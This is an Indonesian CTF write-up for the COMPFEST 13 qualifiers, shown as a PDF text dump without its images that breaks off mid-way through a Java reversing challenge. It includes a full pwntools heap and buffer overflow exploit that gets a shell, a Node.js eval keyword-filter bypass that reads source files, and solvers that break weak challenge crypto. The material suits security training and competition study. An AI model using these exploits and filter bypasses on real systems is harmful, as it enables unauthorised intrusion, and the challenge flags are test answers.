Anda di halaman 1dari 54

WriteUp Penyisihan CTF COMPFEST 13

Tim

www.youtube.com/watch?v=dQw4w9WgXcQ
Table Of Contents

Binary Exploitation 3
Shop Manager 3

Cryptography 7
Snab? Yes, Snab 7
You AES Me Up 11
Secure Channel 15

Forensics 24
VidCap 24
Naomi Gives Noises 25

Misc 31
Promotional Video 31
Sanity Check 33
Baby JS 34
Lab 36
WaifuDroid 38

Reverse Engineering 40
Binary Pin 40
Magical Mystery Club 47

Web Exploitation 53
Hospital Donation 53

2
Binary Exploitation
Shop Manager

Diberikan sebuah file zip yang berisi 3 binary yaitu: chall, ld-2.27.so, serta
libc-2.27.so. chall merupakan binary yg harus diexploitasi untuk mendapatkan flag.

Sekilas struktur soal mirip pada soal-soal heap pada umumnya. Setelah dilakukan recon,
diperoleh beberapa informasi sebagai berikut:
1. Item disimpan pada heap dengan ukuran alokasi memory yang tetap (0x10, cmiiw)

3
2. Input nama item tidak diberi batasan panjang
3. Input harga dapat mencapai 0x7fffffffffffffff
4. Terdapat vulnerability buffer overflow pada fungsionalitas sell item
5. Tidak terdapat stack canary serta PIE

Dari informasi tersebut dapat disusun flow exploitasi sebagai berikut:


1. Manfaatkan tidak adanya batasan pada input nama item untuk melakukan leak libc
address. Hal ini dicapai dengan menambahkan 2 buah item lalu mengoverwrite
address yang merujuk ke nama item kedua menjadi address got fungsi di libc (di sini
kami menggunakan __libc_start_main)
2. Buffer overflow ke one gadget menggunakan vuln pada fungsi sell item

Berikut script akhir yang kami gunakan.

#!/usr/bin/python3
from pwn import *
import sys

#convenience Functions
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))

HOST = '103.152.242.242'
PORT = 4204
BINARY = ELF('./chall', checksec=False)
LIBC = ELF('./libc-2.27.so', checksec=False)
LD = ELF('./ld-2.27.so', checksec=False)
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-h']

# User defined func

4
def add(r, name, price):
r.sendlineafter('> ', '1')
r.sendlineafter('Item name: ', name)
r.sendlineafter('Item price: ', price)
return b'Item added successfully.\n' in r.recvline()

def delete(r, idx):


r.sendlineafter('> ', '2')
r.sendlineafter(': ', str(idx))
return b'Item deleted successfully.\n' in r.recvline()

def edit(r, idx, name, price):


r.sendlineafter('> ', '3')
r.sendlineafter(': ', str(idx))
r.sendlineafter('Item name: ', name)
r.sendlineafter('Item price: ', price)
return b'Item edited successfully.\n' in r.recvline()

def list_item(r):
r.sendlineafter('> ', '4')
r.recvuntil(b'Item List\n')
last = b'\n\n==========================================='

raw_content = r.recvuntil(last)[:-len(last)]
contents = raw_content.split(b'\n\n')

parsed_contents = []
for content in contents:
name,price = content[len('Name: '):].split(b'\nPrice: ')
parsed_contents.append({
'name': name,
'price': price,
})

return parsed_contents

def sell_item(r, idx, comment):


r.sendlineafter('> ', '5')
r.sendlineafter(': ', str(idx))
r.sendlineafter('What do you want to say about this item?\n',
comment)

5
last = b'\nItem sold successfully.\n'
first = b'You said: '
result = r.recvuntil(last)[len(first):-len(last)]
return result

one_gadget = [
0x4f3d5,
0x4f432,
0x10a41c,
]
# end of user defined func
r = remote(HOST, PORT)
# leak libc
add(r, 'A'*8*3, '1'*0x14)
add(r, 'B', '15000')
edit(r, 0, b'A'*(8*7) + p64(BINARY.got['__libc_start_main']),
'10000')
edit(r, 0, b'A'*(8*4) + p64(0) + p64(0x21) + b'A', '10000')
libc = uu64(list_item(r)[1]['name'])-138000
delete(r, 0)
delete(r, 1)
add(r, 'AAA', '1000')
og = libc+one_gadget[2]
sell_item(r, 0, b'\x00'*56 + p64(og))
r.sendline('cat flag.txt')
r.recvuntil('COMPFEST13{')
flag = r.recvuntil('}').decode()[:-1]
print(f'COMPFEST13{{{flag}}}')
# COMPFEST13{Ov3rFloooo0oow_eveRywh3r3_80483bdef0}

Flag: COMPFEST13{Ov3rFloooo0oow_eveRywh3r3_80483bdef0}

6
Cryptography
Snab? Yes, Snab

7
Pada file snab.py di atas terlihat algoritma enkripsi yang digunakan adalah RSA.
Beberapa nilai yang diketahui adalah e, s, n, a, b dan c_list. Untuk dapat melakukan dekripsi
pada pada m_list diperlukan nilai r dan juga d. Setelah melakukan penyederhanaan terhadap s
didapatkan persamaan sebagai berikut.
s = p2 x r
Karena nilai s merupakan perkalian salah satu bilangan prima yang digunakan pada
modulus n, nilai p bisa didapatkan dengan menemukan gcd dari n dan s yaitu p itu sendiri.
GCD(s, n) = p
q=p/n
r = s / p2
d = mod
d = modular multiplicative inverse dari e (mod λ(n))
Setalah didapatkan nilai d dan r maka m_list bisa didapatkan dengan melakukan
dekripsi. Didapatkan hasil dekripsi seperti pada gambar di bawah ini.

Flag dibagi menjadi 2 bagian yang berselang 1 karakter. halfa dan halfb bisa
didapatkan dengan mengurangkan p - r dan q - r. Setelah didapatkan nilai halfa dan halfb
selanjutnya tinggal menyusun flag sesuai dengan urutannya. Berikut full solver yang
digunakan.

8
from gmpy2 import gcd
from sympy import mod_inverse
from Crypto.Util.number import long_to_bytes
from pwn import xor
import sympy

e = 65537
s=
5185214841720732590431455020346945995129354432830761070034948406435041506
6324840241046292886412281899973128061909575561664804468763028547636336723
4348295346345048643618601901838740100
n=
1217893764879608094892533865871706866587687266570455532146234159923848326
1448524913725687445426703240136517385956321081495348789357441340993211758
5950570225259024509903129746392143101
a = 14910
b=
1443061772954701335732136128869248910288995712185482317126411260349775148
9327845975881155487800677619938411929612056984185014687627346866959755505
61598140253475710348439640002745286347562
c_list =
[958445325539917376003552446542720993053619755751503713197097290912430302
0357589874207198719980025092250174662643398525303871385315174685751476267
8605619742310839669559545627531098676,
4209826211787260718024537622627923484453718966779261129097813777013120529
5202393318329675438677406769928295941768074280915365884838027414974072838
410934952571392616562898636004189303,
8604504123043858588289398284978073629384165878986588408956445422750740896
6367008407134083097725471467768230674823074955765520574008948616161237134
00577813256614795674220942022738198,
6689691623502879101055413087983416345672189702445392956415154572720232003
9792487273512943832159287883050106923587075192390665897004465138382234040
927275478139131450371794658563343368,
8817613012878241382139031855015100838857013212018266434256667132854611942
3517817326934034720909238554168653863093116429325532932401977519369212892
117707167802400008407395125896733332,

4225003927464077863060371760516382796117657782856405537058892919240101558
7247485151024369147022833032549004175634147831360114651662490704138925606
397505368573040950634048151235675964,
1062678438225467525287808797374013519481707414468177696845165696568160051
4789726732145276463455375148808544093870677362528715437264599124414112122
6180609731226228509942129690482744498,
7344462713592491879813960159075800353984094813742489003735150623847056840
4605950910488792866346911697647936494261769751584145554547780754302336997
80146900520609629142406422725693811,
6815573289609234589682737951662413328016698698402354199308533090632196088
8421556683672078055376548346464764100036149614632795220030187229733989823
788323988946361921828069707823065198,

9
2456638129741631242062051214133833843357605035108383884677777076160879939
7569854035576042646489035115284014788768715787754401014828140727143553660
84122429853207060638683606389504551,
9967198227164578890341401638455097516536196534598017792811501802727117306
2935625698434769263846972984813377601618481025600240081090732166957299336
765744471217496851539810214590361856]

p = gcd(b, n)
q = n/p
assert p*q == n
assert s == pow(p + q, 2)

r = b/(pow(p, 2))

assert (s - q*(2*p + q))*r == b

phi = (p-1) * (q - 1)
d = mod_inverse(e, phi)

assert e*d % phi == 1

m_list = []
for i in range(len(c_list)):
m = pow(c_list[i], d, n)
m_list.append(long_to_bytes(m/r))

print("".join(m_list))

# 2nd

msg1 = long_to_bytes(p - r)
msg2 = long_to_bytes(q - r)
print(msg1)
print(msg2)
flag = ""
for i in range(0, len(msg1), 2):
flag += msg1[i] + msg2[i] + msg1[i+1] + msg2[i+1]
print(flag)

10
Flag COMPFEST13{y0U_d1DnT_3xpEcT_t0_FinD_pQ_4s_a_fl4g_DiD_y0u_7e1877a801}

You AES Me Up

11
Script di atas merupakan script yang dijalankan pada service nc 103.152.242.242
5592. Terdapat 3 menu utama yang bisa digunakan. Menu 1 bisa digunakan untuk melakukan
enrkipsi flag. Enkripsi flag dilakukan dengan 2 kali proses. Pertama flag asli dienkripsi
dengan menggunakan AES-ECB kemudian dilakukan enkripsi kembali dengan algoritma
enrkripsi AES yang mirip dengan mode PCBC. Terdapat juga fungsi untuk melakukan
enkripsi palintext pada menu 2 dan melakukan dekripsi pada menu 3.
Karena flag asli terenkripsi dengan mode ECB maka harus diketahui nilai IV dan juga
ciphertext yang dihasilkan dari AES ECB. Nilai IV bisa didapatkan dengan skema berikut:

encrypted_ecb = enc(FLAG, ECB, KEY)


encrypted_pcbc = enc(encrypted_ecb_flag[0:], PCBC, IV)

12
decrypted_cbc = dec(encrypted_pcbc[0:2], PCBC, IV)
encrypted_ecb[1] = ( decrypted_cbc[0] ^ decrypted_cbc[1] )
IV = encrypted_ecb[1] ^ dec(encrypted_pcbc[1], CBC, IV) ^ encrypted_pcbc[0] ^
decrypted_cbc[0]

Hasil dekripsi blok pertama pada ciphertext yang dihasilkan dari mode PCBC
merupakan ciphertext ecb langsung sehingga pada blok ciphertext pertama tidak diperlukan
proses lebih lanjut dan blok ciphertext kedua sudah didapatkan pada skema di atas. Untuk
mendapatkan ciphertext ecb yang tersisa dapat digunakan skema berikut:

encrypted_pcbc = enc(encrypted_ecb_flag[0:], PCBC, IV)


decrypted_cbc = dec(encrypted_pcbc[0:2], PCBC, IV)
Block_ciphertext_ecb[j] = decrypted_cbc[i+1] ^ encrypted_ecb[i] , j = i + 1 , i > 1

Kemudian setelah didapatkan ciphertext ecb, dekripsi bisa dilakukan dengan


menggunakan IV yang telahd didapatkan. Berikut solver yang digunakan.

from pwn import *


from binascii import hexlify, unhexlify
from Crypto.Util.number import *
from Crypto.Cipher import AES

def decAESECB(key, msg):


cipher = AES.new(key, AES.MODE_ECB)
return cipher.decrypt(msg)

def connect():
r = remote("103.152.242.242", 5592)
return r

def processX():
r = process("chall.py")
return r

13
def splitBlock(cipher, blok_size=32):
blocks = []
for i in range(0, len(cipher), blok_size):
blocks.append(cipher[i:i+32])
return blocks

# r = processX()
r = connect()
r.sendlineafter("> ", '1')
r.recvuntil("flag (in hex) = ")
flag_cipher = r.recvline().strip()
blocks = splitBlock(flag_cipher)

r.sendlineafter("> ", '3')


r.sendlineafter("enc (in hex) = ", b"".join(blocks[0:2]).decode())
r.recvuntil("msg (in hex) = ")
decrypted = r.recvline().strip().decode()
tmp_blocks = splitBlock(decrypted)
second_block_full_decrypted = hexlify(xor(unhexlify(tmp_blocks[0]), unhexlify(
tmp_blocks[1])))

r.sendlineafter("> ", '3')


r.sendlineafter("enc (in hex) = ", blocks[1])
r.recvuntil("msg (in hex) = ")
decrypted_2n_block = r.recvline().strip()
IV = xor(unhexlify(second_block_full_decrypted), unhexlify(
decrypted_2n_block), unhexlify(tmp_blocks[0]), unhexlify(blocks[0]))

aes_ecb_cipher = [tmp_blocks[0].encode(), second_block_full_decrypted]


for i in range(1, len(blocks) - 2):
r.sendlineafter("> ", '3')
r.sendlineafter("enc (in hex) = ", b"".join(blocks[0:i+2]).decode())
r.recvuntil("msg (in hex) = ")
decrypted = r.recvline().strip().decode()
tmp_blocks = splitBlock(decrypted)
second_block_full_decrypted = hexlify(
xor(unhexlify(aes_ecb_cipher[i]), unhexlify(tmp_blocks[i+1])))
aes_ecb_cipher.append(second_block_full_decrypted)

c = b"".join(aes_ecb_cipher)
print(decAESECB(IV, unhexlify(c)))

14
Flag
COMPFEST13{Y0u_aes_me_Uppppppp_____t0_c0dE_on_st0rmy_Seaaaas____e0212d1a3
4}

Secure Channel

15
16
Pada challenge ini diberikan service sebagai berikut:
- Watch the conversation: nc 103.152.242.242 145
- Talk with Alice: nc 103.152.242.242 1456
- Talk with Bob: nc 103.152.242.242 1458

Pada service Watch the conversation kita bisa melihat percakapan alice dan bob yang
terenkripsi. Namun untuk melakukan dekripsi diperlukan pengetahuan private key yang
digunakan bob. Script di atas terlihat bahwa nilai secret yang digunakan bob hanya berkisar
dari 2 sampai 100 sehingga bruteforce feasible. Dengan menggunakan service Talk With Bob
bisa didapatk secret key. Kemudian dekripsi terhadap percakapan bisa dilakukan dengan

17
proses diffie hellman key exchange. Karena key yang digunakan pada enkripsi AES CBC
pada alice dan bob sama dekripsi bisa dilakukan. Berikut merupakan script untuk memantau
percakapan alice dan bob.

from ssl import OPENSSL_VERSION_INFO


from Crypto.Util.number import getPrime, bytes_to_long as bl, long_to_bytes as lb
from pwn import *
from base64 import *
from Crypto.Cipher import AES

NC = "103.152.242.242"
ALICE_BOB_PORT = 1457
ALICE_PORT = 1456
BOB_PORT = 1458
G = 383645461853941256630730859159859806573
MOD = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
MY_SECRET = 0x0d1f
sp = list(map(ord, list(string.printable)))

def connect(port):
r = remote(NC, port)
return r

def close(r):
r.close()

def getG():
return b64encode(lb(G))

def getSecretKey(public, p):


for i in range(3, 100):
if getPublicPart(i, p) == public:
return i
return 0

def getPublicPart(secret, p):


return pow(G, secret, p)

def getPrivatePart(gx, secret, p):


key = pow(gx, secret, p) % 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
key = lb(key)

18
while (len(key) != 16):
key += b'\x01'
return key

def getMySecret():
return b64encode(lb(MY_SECRET))

def decryptMessage(key, enc_message):


# try:
iv = enc_message[:16]
enc = enc_message[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
msg = cipher.decrypt(enc)
return msg
# except:
# return b'Message not received!'

def unpad(msg):
new_msg = ""
for c in msg:
if c in sp:
new_msg += chr(c)
return new_msg
# Talk to bob
talk_to_bob = connect(BOB_PORT)
print(talk_to_bob.sendlineafter("Your secret: ", getMySecret()))
print(f"g = {getG()}")
print(talk_to_bob.sendlineafter("g: ", getG()))

# Get p
talk_to_bob.recvuntil("p:")
p = int(talk_to_bob.recvline().strip())

# Get bob's public part


talk_to_bob.recvuntil("Bob\'s public part:")
bob_public_part = bl(b64decode(talk_to_bob.recvline().strip()))
print(f"Bob's Public Part {bob_public_part} \n")

bob_secret = getSecretKey(bob_public_part, p)
print(f"Bob's Secret {bob_secret} \n")
assert bob_secret != 0

# My public part
talk_to_bob.recvuntil("Your public part:")
my_public_part = bl(b64decode(talk_to_bob.recvline().strip()))

assert my_public_part == getPublicPart(MY_SECRET, p)

19
# My private part
talk_to_bob.recvuntil("Your private part:")
my_private_part = b64decode(talk_to_bob.recvline().strip())
print(f"My private part {my_private_part} \n")

assert my_private_part == getPrivatePart(bob_public_part, MY_SECRET, p)

bob_private = getPrivatePart(my_public_part, bob_secret, p)


print(f"Bob's Private {bob_private}")

assert bob_private == my_private_part

close(talk_to_bob)

# Wath conversation
# Send G
watch = connect(ALICE_BOB_PORT)
watch.sendlineafter("g: ", getG())

# Get p
watch.recvuntil("p:")
p = int(watch.recvline().strip())

# Get alice's public part


print(watch.recvuntil("Alice's public part:"))
alice_public_part = bl(b64decode(watch.recvline().strip()))
print(f"Alice's Public Part {alice_public_part} \n")

bob_private = getPrivatePart(alice_public_part, bob_secret, p)


print(f"Bob's Private {bob_private}")

msg = ""
while True:
try:
print(watch.recvline().strip())
print(watch.recvline().strip())
alice_msg = watch.recvline().strip()
print(alice_msg)
alice_msg = b64decode(alice_msg)
dec = decryptMessage(bob_private, alice_msg)
dec = unpad(dec)
msg += dec + '\n'
print(msg)
print(watch.recvline().strip())

print(watch.recvline().strip())

20
print(watch.recvline().strip())
bob_msg = watch.recvline().strip()
print(bob_msg)
bob_msg = b64decode(bob_msg)
dec = decryptMessage(bob_private, bob_msg)
dec = unpad(dec)
msg += dec + '\n'
print(msg)
print(watch.recvline().strip())
except:
watch.close()
break

Didapatkan hasil percakapan seperti pada gambar di bawah ini.

Setelah melakukan pencarian di internet didapatkan kesimpulan bahwa alice dan bob
menggunakan ASCII85. Berikut merupakan hasil decode ASCII85.

21
import base64
a = ["""87d&""",
"""87d'2""",
"""6>p<c/c""",
"""=(l#a""",
"""6uO2nDfm1=Bkq9&@3BW&@rc.&56""",
"""=(lLpA8c%#DC9NKCh[Zr56""",
""":2+3L/g*_.BOQ'q+EV:2F!,(2@:q1""",
"""=(l#a56""",
"""6VgEQ7R^6T0f+/5An3YW1c@1!""",
"""88W2r+A-ctF<G[=AKYT!EcZ=F1,'h\BOPpi@ru:&F$B""",
"""8LJ?tE,oN3FEo!MF`M%9H#IgJBOQ'q+EV:.+ED%7F8""",
"""=_2#T/0JP@@:re"0KM*G>l""",
"""8K_\TG%De<BOr;uCggs\2D@0t+EVO?/hSa""",
""":MVL(8K`4kCht58ASu$$BlkJ+AoqU)+F.mJ/g*Z&+E)-M""",
"""1GE8q0f:XC2DR7%@:h?'2`!:"1HAu'1H9d""",
"""1,r\s@P^#%2*#8*An*\P0Ocjn@l.XL2e?JY@:V;R2)-jB3Ab/(""",
""":2+3L/0K.J+D>2,AKZ).AKYT$@:p^#Dg*?""",
"""8K_\bE+L/*@:O(aEcW@5@;]t$F<GX9AKZ).Blbm""",
"""<+oue+Cf(nDJj$%+DGm>F(Jj(Eb-A6BkM+$56""",
"""=_2#T/c""",
"""8K_\bE+L/;DfmFJAKZ#-B4uB>""",
"""8K_\bE+L/5D_;""",
""":MV(pBOu&""",
"""6@!,p""",
"""6@!,""",
"""@X2M""",]

for i in a:
try:
d = base64.a85decode(i)
s2 = d.decode("UTF-8")
print(s2)
except:
continue

22
Flag
COMPFEST13{4fd29464a28a1b39559f4fc500b41c4b17ec8ad74512394a830b51506628caf4
_734b39d538}

23
Forensics
VidCap


Diberikan sebuah file packet capture bernama capture.pcapng, setelah kami bac abaca
menggunakan tool wireshark kami menemukan bahwa traffic yang terdapat pada file ini
merupakan traffic dari video streaming menggunakan protocol RTMPT.

Awalnya kami cukup kebingungan karena sudah banyak yang solve challenge tersebut namun
kami tidak menemukan cara mudah untuk mengexport video ber-codec h.264 dari payload
data RTMPT. Sempat dicoba kami extract menggunakan bantuan pyshark menjadi file
berformat .264, namun saat kami ubah agar bisa dimainkan menggunakan ffmpeg, kami
gagal karena tidak terdapat NAL header dalam file tersebut. Sampai cukup lama, akhirnya
kami menemukan tool bernama rtmp2flv (https://github.com/quo/rtmp2flv).

Pertama tama kami ubah dulu menjadi .rtmp menggunakan tool tcpflow
tcpflow -T %T_%A%C%c.rtmp -r capture.pcap

Setelah terubah, kami gunakan rtmp2flv untuk mengubahnya menjadi .flv.

./rtmp2flv.py *.rtmp
Meskipun terdapat error, file yang telah terbuat tetap bisa dimainkan

24
Flag : COMPFEST13{aha_gotcha_9437e8f141}

Naomi Gives Noises


Diberikan 2 buah file bernama Flag.jpg dan pass.wav. Setelah kami coba dengarkan
pass.wav, kami menduga bahwa terdapat kode morse yang berbeda beda frekuensi suaranya.
Dengan bantuan morsecode decoder online (https://morsecode.world/international/decoder/audio-decoder-adaptive.html)

kami berhasil mengambil semua kode morse yang ada.


375Hz : 2NEVER8 GONNA GI0VE YOU 5UP
750Hz : N1EVER 8GONNA 7SAY GOOD9BYE
1313Hz: 2NEVER GONN3A RUN AROUN6D AND DESERT8 YOU
1875Hz: NEVER4 GONNA TELL A 2LIE AND HURT 0YOU
2438Hz: N7EVER GONNA8 MAKE YOU 0CRY
2813Hz: NEVER1 GON3NA LE7T YOU DOW8N

Kami awalnya kebingungan maksud dari kode morse tersebut. Namun, setelah melihat file
Flag.jpg yang seperti kotak kotak tebak kata, kami menduga kode morse tadi bisa
dimasukkan ke dalam kotak tersebut. Setelah kami hitung hitung ternyata ukurannya pas.

25
Selanjutnya kami melihat isi dari Flag.jpg menggunakan hex editor, kami menduga bahwa
terdapat steganografi di dalam file tersebut karena adanya huruf yang berurutan.

Kami selanjutnya membuat sebuah script python untuk membuat semua kemungkinan
password yang sesuai dengan ukuran kotak kotak dengan berbagai urutan. Bisa dari atas ke
bawah dari kanan ke kiri maupun sebaliknya, bisa juga dari kiri ke kanan secara vertikal.

iterations = [ "321", "123", "213", "312", "132", "231" ]

bold_text = []
def create_string(text, append_start, append_end, bold_pos):
global bold_text
bold_text_in_string = []
sliced = []
insert = []
new_text = ""
text_pos = 0
ret_text = ""
if len(bold_pos)==0:
bold_text.append(bold_text_in_string)
return "*"*append_start + text + "*"*append_end

for pos in bold_pos:


if len(new_text) == 0:
sliced.append(text[:pos-1])
insert.append(text[pos-1:pos])
new_text = text[pos:]

else:
sliced.append(new_text[:pos - text_pos - 1])
insert.append(new_text[pos - text_pos - 1:pos - text_pos])
new_text = new_text[pos - text_pos:]

text_pos = pos

26
count = 0
for text_sliced in sliced:
ret_text += text_sliced
ret_text += underline_format.start + insert[count] + underline_format.end
bold_text_in_string.append(insert[count])
count +=1
ret_text += new_text
bold_text.append(bold_text_in_string)
return "*"*append_start + ret_text + "*"*append_end

def shuffle_bold(bold_arr):
output = ""
# Top Left
for bold_line in bold_arr:
for chara in bold_line:
output+=chara
print(output)
output = ""
# Top Right
for bold_line in bold_arr:
for chara in bold_line[::-1]:
output+=chara
print(output)
output = ""
# Bottom Left
for bold_line in bold_arr[::-1]:
for chara in bold_line:
output+=chara
print(output)
output = ""
# Top Left
for bold_line in bold_arr[::-1]:
for chara in bold_line[::-1]:
output+=chara
print(output)

output = ""
# Snake Top Left
count_line = 0
for bold_line in bold_arr:
if count_line % 2 == 0:
for chara in bold_line:
output+=chara
else:
for chara in bold_line[::-1]:
output+=chara
count_line+=1
print(output)

output = ""
# Snake Top Right
count_line = 0
for bold_line in bold_arr:
if count_line % 2 == 1:
for chara in bold_line:
output+=chara

27
else:
for chara in bold_line[::-1]:
output+=chara
count_line+=1
print(output)

output = ""

# Snake Bottom Left


count_line = 0
for bold_line in bold_arr[::-1]:
if count_line % 2 == 0:
for chara in bold_line:
output+=chara
else:
for chara in bold_line[::-1]:
output+=chara
count_line+=1
print(output)

output = ""

# Snake Bottom Right


count_line = 0
for bold_line in bold_arr[::-1]:
if count_line % 2 == 1:
for chara in bold_line:
output+=chara
else:
for chara in bold_line[::-1]:
output+=chara
count_line+=1
print(output)

output = ""

# Left to Right Vertical


output+= bold_arr[3][0]
output+= bold_arr[5][0]
output+= bold_arr[3][1]
output+= bold_arr[3][2]
output+= bold_arr[0][0]
output+= bold_arr[3][3]
output+= bold_arr[1][0]
output+= bold_arr[3][4]
output+= bold_arr[0][1]
output+= bold_arr[1][1]
output+= bold_arr[5][1]
output+= bold_arr[2][0]
print(output)

class underline_format:
end = '\033[0m'
start = '\033[4m'

unknown_pos = [

28
"2NEVER8 GONNA GI0VE YOU 5UP",
"N1EVER 8GONNA 7SAY GOOD9BYE",
"N7EVER GONNA8 MAKE YOU 0CRY"
]

secon_line = "NEVER1 GON3NA LE7T YOU DOW8N"


third_line = "2NEVER GONN3A RUN AROUN6D AND DESERT8 YOU"
sixth_line = "NEVER4 GONNA TELL A 2LIE AND HURT 0YOU"
count = 0

for iter in iterations:


print("Iter: ", count)
print(create_string(unknown_pos[int(iter[0])-1], 5, 9, [16, 25]))
print(create_string(secon_line, 4, 9, [22,27]))
print(create_string(third_line, 0, 0, [37]))
print(create_string(unknown_pos[int(iter[1])-1], 5, 9, [1, 9, 15, 20, 22]))
print(create_string(unknown_pos[int(iter[2])-1], 5 , 9, []))
print(create_string(sixth_line, 1, 2, [12, 35]))
count+=1
shuffle_bold(bold_text)
bold_text = []
print()

29
Setelah kami kumpulkan menjadi wordlist lalu diubah menjadi lowercase(sesuai dengan
hint). Kami menggunakan bantuan tool stegseek(https://github.com/RickdeJager/stegseek),
untuk menguji coba semua password dan mengextractnya.

Dengan password : naomiyuu5808, kami akhirnya mendapatkan flag.


Flag : COMPFEST13{n4oM1_L1k3s_t0_Cl1mB_Tr3e_fe631d934d}

30
Misc
Promotional Video

Setelah nonton videonya berkali-kali, iseng nyalain subtitle dan ternyata ada flagnya tapi
dalam bentuk kepisah-pisah per huruf. Biar enak, download aja subtitlenya pakai
https://downsub.com. Nah tinggal diolah pakai text editor buat disatuin.

31
Flag: COMPFEST13{c4ptUr3_Th3_Fl4g_cb1217bccd}

32
Sanity Check

Flag: COMPFEST13{Welcome_to_CTF_COMPFEST_13}

33
Baby JS

Diberikan sebuah web service dengan fungsionalitas secara umum mengeksekusi input yang
diberikan program.

Kami coba-coba menginputkan sembarang input.

Dari perilaku ini, diketahui digunakan nodejs sebagai bahasa pemrograman backend nya.
Kami coba inputkan console.log('ehe') ternyata tidak terjadi error, sehingga kami curiga
di balik layar program ini hanya menjalankan perintah semacam eval. Langsung saja kami

34
coba payload untuk membaca source code program (sebagaimana yang diperintahkan pada
deskripsi)
require("fs").readFileSync("index.js").toString()

Sepertinya ada semacam proteksi untuk beberapa keyword tertentu. Setelah kami cari-cari
sepertinya hanya required yang diblacklist, sehingga kami coba payload sebagai berikut

eval('req'+'uire("fs").readFileSync("index.js").toString()')

Payload di atas menghindari terdeteksinya keyword ‘required’ dan untunglah tembus.

Flag: COMPFEST13{5t0p_hARdcoDeD_senS1tiv3_dat4_14f07bc4bd}

35
Lab

Yak soal OSINT, langsung saja dibaca deskripsinya lalu googling. Dari deskripsi yang
diberikan, kami coba cari research lab di UI yang berkaitan dengan pembelajaran jarak jauh
dan kami menemukan website ini http://dl2.cs.ui.ac.id/. Kami coba telusuri apa saja produk
dari research lab tersebut hingga mendapati halaman
http://dl2.cs.ui.ac.id/index.php/research-products/.

36
Yak singkat saja, kami cari tahu mana yang rilis tahun 2016 dan menemukan website self
monitoring online.

Nah dari sini kami tinggal cari publikasi yang berkaitan dengan pengembangan website
tersebut melalui https://lontar.cs.ui.ac.id.

Hasilnya ditemukan publikasi pada tautan


https://lontar.cs.ui.ac.id/Lontar/opac/themes/newui/detail.jsp?id=46140&lokasi=lokal yang
judul dan tahun terbitnya sesuai deskripsi soal. Langsung saja copy url website serta
penulisnya sebagai flag.

Flag: COMPFEST13{monitoring.cs.ui.ac.id_muhammadluqmanhakim}

37
WaifuDroid

Singkat saja, kami baca source code nya dan langsung terlihat celah keamanan pada bagian
ini.

Proteksinya sangat kurang mengingat input user diterima mentah-mentah dan dieval. Untuk
menghindari regex “gimme secret” kami hanya perlu memisah string tersebut menjadi
gimme"+" secret

38
Flag: COMPFEST13{s4nDB0x3d_w41fUu_n3VeR_46a1N_c779251ea6}

39
Reverse Engineering
Binary Pin

Diberikan file zip yang berisi file jar. Langsung saja decompile menggunakan online tool
http://www.javadecompilers.com/.

40
Hasil dari dekompilasi yang paling penting adalah file Secret.java

class Secret {
private int cnt = 1;
private int[] box;
private int[] mydata = new int[]{0, 1, 1, 0, 1, 1, 1, 0, 0,
0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1,
0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0,
1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1,
0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1,
1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1,
1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1,
0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0,
1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1,
1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1,
0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1,
0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1,
0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1,
0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0,
0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1,
1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1,
0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1,
0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0,

41
0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0,
1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1,
0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1,
0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0,
1, 0};
private static Secret instance = new Secret();

private Secret() {
int n = this.mydata.length / 9;
this.box = new int[n];
}

public static Secret getInstance() {


return instance;
}

public void resetInstance() {


instance = new Secret();
}

public void process(char c) {


if (this.cnt > 9) {
return;
}
int n = this.mydata.length / 9;
for (int i = 1; i <= n; ++i) {
int n2 = 9 * i - this.cnt;
int n3 = this.box[i - 1] + this.mydata[n2];
this.mydata[n2] = (n3 += c - 48) % 2;
